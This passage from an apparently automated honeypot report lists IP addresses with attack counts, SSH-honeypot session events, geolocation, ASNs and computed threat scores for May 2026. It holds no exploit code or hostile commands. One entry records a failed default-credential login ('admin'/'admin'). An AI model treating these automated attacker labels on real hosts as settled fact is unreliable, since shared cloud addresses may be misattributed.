        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T09:06:21.948000+00:00",
        "last_seen_30d": "2026-05-31T20:15:42.632000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 104,
        "Honeytrap": 29,
        "CitrixHoneypot": 4,
        "Cowrie": 4,
        "ElasticPot": 4,
        "ConPot": 2,
        "Dionaea": 1
      }
    },
    "66.45.234.242": {
      "attack_count": 4,
      "first_seen": "2026-05-07T13:50:06.774Z",
      "last_seen": "2026-05-07T13:50:38.196Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:50:06.774000+00:00",
        "last_seen_30d": "2026-05-07T13:51:43.943000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "143.244.176.24": {
      "attack_count": 3,
      "first_seen": "2026-05-05T19:29:14.056Z",
      "last_seen": "2026-05-05T19:29:14.088Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-05T19:29:13.813000+00:00",
        "last_seen_30d": "2026-05-05T19:30:25.310000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 37,
        "Cowrie": 3,
        "Ciscoasa": 2,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "47.95.234.23": {
      "attack_count": 3,
      "first_seen": "2026-05-20T12:08:13.465Z",
      "last_seen": "2026-05-20T12:09:14.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T12:08:13.465000+00:00",
        "last_seen_30d": "2026-05-20T12:10:25.083000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "102.64.168.115": {
      "attack_count": 2,
      "first_seen": "2026-05-24T05:56:53.325Z",
      "last_seen": "2026-05-24T05:58:53.330Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Togo",
      "country_code": "TG",
      "city": "Lom\u00e9",
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T05:56:53.325000+00:00",
        "last_seen_30d": "2026-05-24T06:09:33.596000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.160.133.121": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:29:42.210Z",
      "last_seen": "2026-05-04T14:29:55.279Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 149617,
      "as_org": "Digiana Speed Net Private Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:29:42.210000+00:00",
        "last_seen_30d": "2026-05-04T14:31:04.783000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "104.152.52.136": {
      "attack_count": 2,
      "first_seen": "2026-05-04T15:29:03.433Z",
      "last_seen": "2026-05-04T15:29:03.651Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:58:10.479000+00:00",
        "last_seen_30d": "2026-05-04T15:30:04.068000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "106.76.70.171": {
      "attack_count": 2,
      "first_seen": "2026-05-09T18:59:06.544Z",
      "last_seen": "2026-05-09T18:59:19.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45271,
      "as_org": "Vodafone Idea Ltd",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:59:06.544000+00:00",
        "last_seen_30d": "2026-05-09T19:00:22.379000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.114.158.56": {
      "attack_count": 2,
      "first_seen": "2026-05-22T14:28:38.171Z",
      "last_seen": "2026-05-22T14:28:51.723Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:28:38.171000+00:00",
        "last_seen_30d": "2026-05-22T14:29:55.221000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.57.93.159": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:14:29.946Z",
      "last_seen": "2026-05-23T10:14:59.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:14:29.946000+00:00",
        "last_seen_30d": "2026-05-23T10:16:04.086000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "119.98.36.68": {
      "attack_count": 2,
      "first_seen": "2026-05-05T16:22:51.918Z",
      "last_seen": "2026-05-05T16:23:05.680Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:22:51.918000+00:00",
        "last_seen_30d": "2026-05-05T16:24:14.946000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.161.51.131": {
      "attack_count": 2,
      "first_seen": "2026-05-08T17:25:45.375Z",
      "last_seen": "2026-05-08T17:25:58.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:25:45.375000+00:00",
        "last_seen_30d": "2026-05-08T17:27:00.470000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.243.225.219": {
      "attack_count": 2,
      "first_seen": "2026-05-12T07:58:22.411Z",
      "last_seen": "2026-05-12T07:58:35.675Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:58:22.411000+00:00",
        "last_seen_30d": "2026-05-12T07:59:41.644000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.72.252.206": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:56:07.788Z",
      "last_seen": "2026-05-05T11:56:20.608Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Igua\u00e7u",
      "asn": 61751,
      "as_org": "SINTNET-TELECOMUNICACOES E INFORMATICA LTDA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:56:07.788000+00:00",
        "last_seen_30d": "2026-05-05T11:57:26.284000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "137.255.56.182": {
      "attack_count": 2,
      "first_seen": "2026-05-10T11:43:14.965Z",
      "last_seen": "2026-05-10T11:43:28.878Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Benin",
      "country_code": "BJ",
      "city": "Cotonou",
      "asn": 328228,
      "as_org": "SBIN-AS",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T11:43:14.965000+00:00",
        "last_seen_30d": "2026-05-10T11:44:32.574000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "153.168.188.168": {
      "attack_count": 2,
      "first_seen": "2026-05-10T02:01:18.533Z",
      "last_seen": "2026-05-10T02:01:31.759Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:01:18.533000+00:00",
        "last_seen_30d": "2026-05-10T02:02:38.400000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "159.89.206.171": {
      "attack_count": 2,
      "first_seen": "2026-05-24T20:03:33.061Z",
      "last_seen": "2026-05-24T20:03:33.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:03:33.061000+00:00",
        "last_seen_30d": "2026-05-24T20:04:33.535000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.78.119.72": {
      "attack_count": 2,
      "first_seen": "2026-05-09T07:22:31.798Z",
      "last_seen": "2026-05-09T07:22:44.315Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ribeir\u00e3o Preto",
      "asn": 52783,
      "as_org": "ALCANS TELECOM LTDA",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:22:31.798000+00:00",
        "last_seen_30d": "2026-05-09T07:24:23.186000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.158.151.125": {
      "attack_count": 2,
      "first_seen": "2026-05-16T17:31:44.337Z",
      "last_seen": "2026-05-16T17:31:58.953Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Donetsk",
      "asn": 50780,
      "as_org": "EAST-NET Ltd",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:31:44.337000+00:00",
        "last_seen_30d": "2026-05-16T17:33:01.714000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.18.12.41": {
      "attack_count": 2,
      "first_seen": "2026-05-05T21:36:22.661Z",
      "last_seen": "2026-05-05T21:36:34.885Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Samara",
      "asn": 39264,
      "as_org": "Region Svyaz Konsalt LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:36:22.661000+00:00",
        "last_seen_30d": "2026-05-05T21:37:44.328000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.97.46.254": {
      "attack_count": 2,
      "first_seen": "2026-05-16T22:55:40.195Z",
      "last_seen": "2026-05-16T22:55:52.526Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Macei\u00f3",
      "asn": 262740,
      "as_org": "VELOO NET LTDA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T22:55:40.195000+00:00",
        "last_seen_30d": "2026-05-16T22:56:57.044000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.212.246.53": {
      "attack_count": 2,
      "first_seen": "2026-05-06T05:48:23.692Z",
      "last_seen": "2026-05-06T05:48:36.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T05:48:23.692000+00:00",
        "last_seen_30d": "2026-05-06T05:49:41.550000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.50.209.248": {
      "attack_count": 2,
      "first_seen": "2026-05-19T20:41:45.094Z",
      "last_seen": "2026-05-19T20:41:57.499Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:41:45.094000+00:00",
        "last_seen_30d": "2026-05-19T20:43:03.460000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.134.161.81": {
      "attack_count": 2,
      "first_seen": "2026-05-24T01:27:19.278Z",
      "last_seen": "2026-05-24T01:29:19.281Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Ahome",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:27:19.278000+00:00",
        "last_seen_30d": "2026-05-24T01:40:04.866000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "190.0.81.195": {
      "attack_count": 2,
      "first_seen": "2026-05-07T08:03:01.584Z",
      "last_seen": "2026-05-07T08:03:15.031Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo Este",
      "asn": 46198,
      "as_org": "Trilogy Dominicana, S.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T08:03:01.584000+00:00",
        "last_seen_30d": "2026-05-07T08:04:22.028000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.186.8.86": {
      "attack_count": 2,
      "first_seen": "2026-05-17T03:29:47.283Z",
      "last_seen": "2026-05-17T03:30:01.174Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 37133,
      "as_org": "airtel-tz-as",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:29:47.283000+00:00",
        "last_seen_30d": "2026-05-17T03:31:08.237000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.35": {
      "attack_count": 2,
      "first_seen": "2026-05-25T17:19:57.686Z",
      "last_seen": "2026-05-25T17:20:28.687Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 72.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T00:13:09+00:00",
        "last_seen_30d": "2026-05-31T03:10:49.652000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 5,
        "Cowrie": 2,
        "ConPot": 1
      }
    },
    "37.13.115.8": {
      "attack_count": 2,
      "first_seen": "2026-05-21T03:17:24.445Z",
      "last_seen": "2026-05-21T03:17:37.437Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Santiago de Compostela",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T03:17:24.445000+00:00",
        "last_seen_30d": "2026-05-21T03:18:45.149000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.83.137.125": {
      "attack_count": 2,
      "first_seen": "2026-05-23T23:18:52.828Z",
      "last_seen": "2026-05-23T23:20:52.831Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T23:18:52.828000+00:00",
        "last_seen_30d": "2026-05-23T23:31:53.152000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
